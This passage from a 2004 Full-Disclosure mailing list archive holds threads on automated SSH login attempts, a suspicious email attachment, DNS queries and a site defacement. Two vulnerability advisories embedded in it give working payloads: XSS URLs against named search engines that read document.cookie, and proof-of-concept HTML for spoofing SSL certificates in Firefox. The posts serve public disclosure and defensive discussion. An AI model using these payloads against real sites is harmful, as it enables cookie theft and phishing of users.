>Jul 19 22:05:07 panther6 sshd[30439]: Failed password for illegal user test from 83.103.27.66 port 52671 ssh2
>Jul 19 22:05:08 panther6 sshd[30441]: Illegal user guest from 83.103.27.66
>Jul 19 22:05:08 panther6 sshd[30441]: Failed password for illegal user guest from 83.103.27.66 port 52687 ssh2
>Jul 21 06:30:12 panther6 sshd[1103]: Illegal user test from 219.103.193.130
>Jul 21 06:30:12 panther6 sshd[1103]: Failed password for illegal user test from 219.103.193.130 port 55802 ssh2
>Jul 21 06:30:14 panther6 sshd[1105]: Illegal user guest from 219.103.193.130
>Jul 21 06:30:14 panther6 sshd[1105]: Failed password for illegal user guest from 219.103.193.130 port 55823 ssh2
>
>
> .. and some log entries from my friend's system:
>
>Jul 19 21:04:33 quack sshd[28379]: Illegal user test from 131.234.157.10
>Jul 19 21:04:34 quack sshd[28381]: Illegal user guest from 131.234.157.10
>Jul 19 21:04:36 quack sshd[28383]: Illegal user admin from 131.234.157.10
>Jul 19 21:04:37 quack sshd[28385]: Illegal user admin from 131.234.157.10
>Jul 19 21:04:38 quack sshd[28387]: Illegal user user from 131.234.157.10
>Jul 19 21:04:43 quack sshd[28400]: Illegal user test from 131.234.157.10
>Jul 22 09:39:10 quack sshd[7646]: Illegal user test from 156.17.99.11
>Jul 22 09:39:11 quack sshd[7648]: Illegal user guest from 156.17.99.11
>
>
>I have not seen any notes about this on the vulnerability disucssion
>lists. Has anyone else noticed it? What specific vulnerability (or
>default password?) is this looking for?
>
>-Jay Libove, CISSP
>libovefelines.org
>Atlanta, GA US
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [ok] Re: [Full-Disclosure] Cry For help

From: Curt Purdy (purdytecman.com)
Date: Sun Jul 25 2004 - 16:55:48 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Abilash Praveen wrote:
> whats this about?
> ----- Original Message -----
> From: "g0bb13s" <g0bb13syahoo.com>
> To: <full-disclosurelists.netsys.com>
> Sent: Sunday, July 25, 2004 12:58 PM
> Subject: [Full-Disclosure] Cry For help
>
>
> > Good sirs and madames,

It's a 491 scam parody.

Curt Purdy CISSP, GSEC, MCSE+I, CNE, CCDA
Information Security Engineer
DP Solutions

----------------------------------------

If you spend more on coffee than on IT security, you will be hacked.
What's more, you deserve to be hacked.
-- former White House cybersecurity adviser Richard Clarke

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [ok] [Full-Disclosure] Possible Virus/Trojan

From: Andrew Farmer (andfarmteknovis.com)
Date: Sun Jul 25 2004 - 18:05:53 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On 25 Jul 2004, at 12:06, Curt Purdy wrote:
> Todd Towles wrote:
>> I received an e-mail today that looked very much like a virus. Here
>> is the message
>>
>> Attachment - erupts.avi.exe
>
>> Subject - New Southern California wildfire erupts
>
> <snip>
>
>> Either this is a new Trojan that changes it body and subject based on
>> the current AP news or someone used a very lame trick against me.
>> =)
>
> I'm guessing the latter. Although story scraping would be possible,
> intellegent naming of the .exe would not be. Most likely a friend...
> or
> enemy.

Sure it would be. In this case, at least, the executable is just named
based on the last word of the headline plus ".avi.exe".

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFBBDzRPa6RRaKl0ScRAtkFAKC8n4fTmd8bcszCltu21AE/3gI/qACggttY
FuAG0mLA9pBASC0SweC4NO4=
=tLoM
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Paul Mohr (pmohrboredmder.com)
Date: Sun Jul 25 2004 - 18:24:08 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

There's a thread on DSLR about it, about 2 days old now:

http://www.dslreports.com/forum/remark,10854834~mode=flat~days=9999

--
Paul Mohr
pmohrboredmder.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Andrei Galca-Vasiliu (andrei.galcardsnet.ro)
Date: Sun Jul 25 2004 - 14:25:20 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --
Andrei Galca-Vasiliu
Technical Support
Brasov Branch
Romania Data Systems
T: +402 68 474133 F: +402 68 474133
www.rdsnet.ro
- --
Privileged/Confidential Information may be contained in this message.
If you are not the addressee indicated in this message (or responsable
for delivery of the message to such person), you may not copy or
deliver this message to anyone. In such a case, you should destroy
this message and kindly notify the sender by reply e-mail.
- --
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iQCVAwUBQQQJIySMIH0khc/mAQINIgP9GqdSzp8S+REQk/oTmJqMNq2V8LmqK7Zy
n+oiGGhC0KYo7Na8E1+//vbilXd8jVFD8mxrSNzjtgg+Jof9BEzN2sY4AdCeHN03
lKUeokLeRxAlZCH0h1e9TRVEuyIJc0Gmq3hJmUCGCeQB1mAiOdbfKzkl82Vqvk1C
M4WwvNws6ik=
=WjqJ
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: FW: [Full-Disclosure] Question for DNS pros

From: Frank Knobbe (frankknobbe.us)
Date: Sun Jul 25 2004 - 17:51:12 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Sun, 2004-07-25 at 13:57, Paul Schmehl wrote:
> For the last time, I have *already* done this. With both a snaplen of 1024
> and a snaplen of 4096. It *hasn't* produced anything useful unless someone
> thinks *this* is useful (I'm using tcpdump on FreeBSD 4.9 RELEASE.):
>
> tcpdump -c 100 -xX -s 4069 -i xl0 -p -w x.x.dump 'udp && host x.x.x.x &&
> port 53' (Our IP has been changed to x.x.x.x)

Paul,

could you please post some *payload* of these packets instead of just
the tcpdump one-liner? Perhaps that's why we confused about your tcpdump
output/usage.

Thanks,
Frank

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQBBBDleJjGc5ftAw8wRAjvBAKDC6k//6Kgmtw0dISKyBKClLqgUPACff/GE
+VAniGJgenSYF/ktVFztLcg=
=+z+E
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] Cross Site Scripting (XSS) on Google, Altavista ,Excite.com,Yahoo etc

From: E.Kellinis (mecipher.org.uk)
Date: Sun Jul 25 2004 - 22:04:40 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

#########################################
Service: Search Engines
Vendors: Google,Altavista ,Excite.com,Yahoo
Metacrawler, Dogpile, Downloads.com, MSN.com
Bug: Cross Site Scripting
Risk: Medium Or Low or High, depends
on your point of view
Exploitation: Remote
Date: 22 July 2004
Author: Emmanouel Kellinis
e-mail: mecipher(dot)org(dot)uk
web: http://www[dot]cipher[dot]org[dot]uk
List : BugTraq(SecurityFocus)/Full-Disclosure
#########################################

Sometimes Mozilla , IE or Opera are not the main concern for
xss attack but websites themselves.

There is a XSS vulnerability to all the major search engines
,and not only, web sites. To be honest the following is a very
small list of the "funny" XSS vulnerability that people dont
pay the needed attention. The XSS vuln is inherited to anyone who is
using these search engines, often there is no need to try and find
a flaw in their web service directly but you can have the same
result with indirect digging.

In the following list the most usual approach is javascript
poisoning inside the < title> tag. Search engines (and not only)
tend to do input/output validation on the searched keyword
only inside < body> and not before, so there you go ,
you just have to do < /title> and write your stuff, or
sometimes not even that.

Also you will notice that BIG websites do not pay the needed
attention in other pages inside their domain except the main.
So if you can find an XSS somewhere else you can still get
client's cookie (or Phish him or her) which is never a good thing!

Most of the following search engines are already informed about
the problem, the ones that I didnt inform was because I couldnt
find their contact details. Some of the following links may not work
but most of them will.

Google.com
http://googlesite.google.com/search?output=googleabout&site=googlesite
&q=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

Metacrawler.com
http://www.metacrawler.com/info.metac/search/web/%253C%252Ftitle%253E%253Cbody%2
Bbgcolor%253D%2522blue%2522%253E%253Cscript%253Ealert(document.cookie)%253B%
253C%
252Fscript%253E%253C%252Fbody%253E

Excite.com
http://msxml.excite.com/info.xcite/search/web/%25253C%25252Ftitle%25253E%25253Cbody%
252Bbgcolor%25253D%252522blue%252522%25253E%25253Cscript%25253Ealert%252528d
ocument.
cookie%252529%25253B%25253C%25252Fscript%25253E%25253C%25252Fbody%25253E

Downloads.com
http://www.download.com/3120-20-0.html?qt=%3C%2Ftitle%3E%3Cbody+bgcolor
%3D%22blue%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3
E%3C%2Fbody%3E&tg=dl-2001

DogPile.com
http://www.dogpile.com/info.dogpl/search/web/%253C%252Ftitle%253E%253C
body%2Bbgcolor%253D%2522blue%2522%253E%253Cscript%253Ealert(document.cookie)
%253B%253C%252Fscript%253E%253C%252Fbody%253E

Altavista.com
http://www.altavista.com/web/results?q=</title><body%20bgcolor="blue">
<script>alert(document.cookie);</script></body>

Yahoo.com
http://us.rd.yahoo.com/reg/sc/nav/*http://www.
%20<script>alert(document.cookie);</script>

MSN.com [fast response/fixed]
http://local.msn.com/results.asp?ec=&zip=
</script><script>alert(document.cookie);</script><script>

and for the shake of it securityfocus.com [fast response/fixed] :
http://www.securityfocus.com/cgi-bin/sfonline/jobs/search_jobs.pl?
keyword="%20onfocus="alert(document.cookie);"

/\Side note/\
I would ,and not only I , appreciate a list of Security Contact details
of at least the fortune 500 companies.
(some times is so frustrating to find their security contacts inside
their ten billion lines website, that you dont even bother !

=========================================================
*PK:http://www.cipher.org.uk/files/pgp/cipherorguk.public.key.txt
=========================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: syrrus (syrrus0x41.com)
Date: Mon Jul 26 2004 - 04:51:09 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

I have noticed the same activity on 3 of my shell servers, all
originating from the 62.67.x.x range however my case I believe is
slightly different as the 3 shell services are running on the same IP
address yet are all listening on different ports.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] (no subject)

From: VX Dude (vxdude2003yahoo.com)
Date: Sun Jul 25 2004 - 17:37:28 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

If I may inquire, why would you care about such a
nobody? Are you insulted that a "real" hacker didn't
find your site worthy? It's just a website, why are
you whining? The more you guys whine, the more they
think what they do matters.

-redX

--- adamhuntrecruiting.com wrote:
>
>
> Hello all,
>
> I just had a site cracked by some script-kiddy going
> by RedX.
>
> the little squirt was just being pesky by cracking
> the passwd for a simple
> store admin and plastering "Hacked by redX" in the
> php forms not a real hack.
> and he uploaded a file with some stupid logo he made
> with MS paint what a
> waist of time there was no real hack involved and no
> access to any important
> info.
>
> just wondering if anybody else has encountered this
> nobody?
>
> Adam
>
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
> http://lists.netsys.com/full-disclosure-charter.html
>

__________________________________
Do you Yahoo!?
New and Improved Yahoo! Mail - Send 10MB messages!
http://promotions.yahoo.com/new_mail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: FW: [Full-Disclosure] Question for DNS pros

From: Paul Schmehl (paulsutdallas.edu)
Date: Sun Jul 25 2004 - 20:47:40 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

--On Sunday, July 25, 2004 5:51 PM -0500 Frank Knobbe <frankknobbe.us>
wrote:
>
> could you please post some *payload* of these packets instead of just
> the tcpdump one-liner? Perhaps that's why we confused about your tcpdump
> output/usage.
>
That *is* the payload.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] Mozilla Firefox Certificate Spoofing

From: E.Kellinis (mecipher.org.uk)
Date: Sun Jul 25 2004 - 21:44:04 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

#########################################
Application: Mozilla Firefox
Vendors: http://www.mozilla.com
Version: 0.9.1 / 0.9.2
Platforms: Windows
Bug: Certificate Spoofing (Phishing)
Risk: High
Exploitation: Remote with browser
Date: 25 July 2004
Author: Emmanouel Kellinis
e-mail: mecipher(dot)org(dot)uk
web: http://www.cipher.org.uk
List : BugTraq(SecurityFocus)/ Full-Disclosure
#########################################

=======
Product
=======
A popular Web browser,good alternative of IE and
"The web browser" for linux machines,
used to view pages on the World Wide Web.

===
Bug
===

Firefox has caching problem, as a result of that someone can
spoof a certificate of any website and use it as his/her own.
The problem is exploited using onunload inside < body> and
redirection using Http-equiv Refresh metatag,document.write()
and document.close()

First you direct the redirection metatag to the website
of which you want to spoof the certificate, then inside
the < body> tag you add onulnoad script so you can control
the output inside the webpage with the spoofed certificate.

After that you say to firefox, as soon as you unload this page
close the stream, aparently the stream you close is
the redirection website, you do that with
document.close().

Now you can write anything you want , you do that
using document.write(). After writing the content of you choice
you close the stream again , usually firefox wont display your content,
although if you check the source code you see it , so the last thing
is to refresh the new page (do that using window.location.reload()),
after that you have your domain name in the url field , your content
in the browser and the magic yellow Lock on the bottom left corner,
if you pass your mouse over it you will see displayed the name of
the website you spoofed the certificate, if you double click on it you
will check full information of the certificate without any warning !

You dont need to have SSL in your website ! it will work with
http.

Additional using this bug malicious websites can bypass content
filtering using SSL properties.

=====================
Proof Of Concept Code
=====================

< HTML>
< HEAD>
< TITLE>Spoofer< /TITLE>
< META HTTP-EQUIV="REFRESH" CONTENT="0;URL=https://www.example.com">
< /HEAD>
< BODY
onunload="
document.close();
document.writeln('< body onload=document.close();break;>
< h3>It is Great to Use example's Cert!');

document.close();
window.location.reload();
">
< /body>

=========================================================
*PK:http://www.cipher.org.uk/files/pgp/cipherorguk.public.key.txt
=========================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Paul Schmehl (paulsutdallas.edu)
Date: Sun Jul 25 2004 - 20:49:41 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

--On Thursday, July 22, 2004 10:47 AM -0400 Jay Libove <libovefelines.org>
wrote:
>
> Here are some log entries from my system:
>
> Jul 15 10:01:34 panther6 sshd[8267]: Illegal user test from 62.67.45.4
> Jul 15 10:01:34 panther6 sshd[8267]: Failed password for illegal user

We've been seeing these as well, and in every case we've notified the
owners, they have mailed us back to let us know that the host had been
rooted.

You would be doing the owners a big favor by notifying them that their host
is probably compromised.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Andrew Farmer (andfarmteknovis.com)
Date: Sun Jul 25 2004 - 18:11:32 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On 22 Jul 2004, at 07:47, Jay Libove wrote:
> [ Posted to full disclosure and vulnwatch; please edit reply
> address(es)
> as appropriate. Thanks. -Jay ]
>
> My Linux system, and a Linux system run by a friend here in the same
> city
> but on a completely different netblock (different ISP), have both seen
> apparently automated attempts to log in to our systems via SSH in the
> past
> few days. Looks like a script.

I've seen the same, coming from hosts all over the Net. The accounts
tried seem to be "guest", "test", "root", and "admin". First hit was
around 11:15 PM PST, 22 July.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFBBD4kPa6RRaKl0ScRAlDAAJ4vWsVmL7Vkm55x7uAijzLXHQcoCwCfVQI0
UYe2ijbvjU19tqikKlqCpv0=
=ZfI9
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [ok] [Full-Disclosure] Possible Virus/Trojan

From: Todd Towles (toddtowlesbrookshires.com)
Date: Sun Jul 25 2004 - 22:03:12 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

I would say that the latter is the more likely, but the message came from a
hotmail account. Doesn't hotmail check attachments? I didn't look at the
headers really so spoofing is possible. I am getting a copy to a research
company so I can get some more answers maybe.

-----Original Message-----
From: Curt Purdy [mailto:purdytecman.com]
Sent: Sunday, July 25, 2004 2:07 PM
To: 'Todd Towles'; 'Mailing List - Full-Disclosure'
Subject: RE: [ok] [Full-Disclosure] Possible Virus/Trojan

Todd Towles wrote:

> I received an e-mail today that looked very much like a virus. Here is the
message

> Attachment - erupts.avi.exe

> Subject - New Southern California wildfire erupts

<snip> .

> Either this is a new Trojan that changes it body and subject based on the
current AP news or someone used a very lame trick against me. =)

I'm guessing the latter. Although story scraping would be possible,
intellegent naming of the .exe would not be. Most likely a friend... or
enemy.

Curt Purdy CISSP, GSEC, MCSE+I, CNE, CCDA
Information Security Engineer
DP Solutions

----------------------------------------

If you spend more on coffee than on IT security, you will be hacked.
What's more, you deserve to be hacked.
-- former White House cybersecurity adviser Richard Clarke

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] IPS Vendors!

From: Philip Baskerville (PBaskervilleinfoscience.otago.ac.nz)
Date: Sun Jul 25 2004 - 22:39:47 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Hello IPS Vendors,

My name is Phil and I am a Masters Student in Otago, New Zealand. I am
setting up an experiment looking at Intrusion Prevention Systems in an
isolated 'information warfare' lab.

Basically, I want to use your product.

Feel free to contact me off list or post back via FD. It would be great
if a trial copy or something of the like could be arranged and I would
be happy to conform to any conditions such as product anonymity, supply
an experiment plan or return experiment data for your own records.

Cheers in advance,

Phil Baskerville

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: FW: [Full-Disclosure] Question for DNS pros

From: Paul Rolland (rolwitbe.net)
Date: Mon Jul 26 2004 - 01:58:48 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Hello,

> I've altered the real hostname on our network to "targethost"
> and altered
> the querying IP to x.x.x.x for privacy reasons. All these
> queries are
> *from* the same host. This pattern is *typical* of what I'm
> seeing from a
> *number of diverse hosts* from all over the world.
>
> 22:06:10.294071 x.x.x.x.2566 >
> targethost.utdallas.edu.domain: 29462 NS? .
> (17)
> 22:06:11.043050 x.x.x.x.2566 >
> targethost.utdallas.edu.domain: 29463 NS? .
> (17)
> 22:06:11.791218 x.x.x.x.2566 >
> targethost.utdallas.edu.domain: 29464 NS? .
> (17)

Seems to be a query for the NS for the "." (root) zone.
The machine sending the queries is probably configured to use
your server as a complete DNS resolver and transfer all its queries
to your server.

Regards,
Paul

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] (no subject)

From: Syke (sykemantissecurity.net)
Date: Sun Jul 25 2004 - 23:09:28 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

adamhuntrecruiting.com wrote:

>Hello all,
>
>I just had a site cracked by some script-kiddy going by RedX.
>
>the little squirt was just being pesky by cracking the passwd for a simple
>store admin and plastering "Hacked by redX" in the php forms not a real hack.
>and he uploaded a file with some stupid logo he made with MS paint what a
>waist of time there was no real hack involved and no access to any important
>info.
>
>just wondering if anybody else has encountered this nobody?
>
>Adam
>
>-------------------------------------------------
>This mail sent through IMP: http://horde.org/imp/
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
Who gives a shit? Go search for him on Zone-H.org.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Shafik Yaghmour (syaghmourgmail.com)
Date: Mon Jul 26 2004 - 00:33:54 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Thu, 22 Jul 2004 10:47:46 -0400 (EDT), Jay Libove <libovefelines.org> wrote:

> My Linux system, and a Linux system run by a friend here in the same city
> but on a completely different netblock (different ISP), have both seen
> apparently automated attempts to log in to our systems via SSH in the past
> few days. Looks like a script.

I have seen similar activity for about two weeks now. Mostly trying guest,
test, admin, root and user accounts. I have seen them coming from
Italy(Jul 12th), UK(Jul 19th) and Canada(Jul 22nd).

All of them where less then 10 attempts.

After the third time I kept meaning to post about but never made the time to,
glad someone did.

Take care

--
While we are asleep in this world, we are awake in another one.
-Salvador Dali

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] Re:

From: Bugzilla (bugzillaredhat.com)
Date: Mon Jul 26 2004 - 05:29:18 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]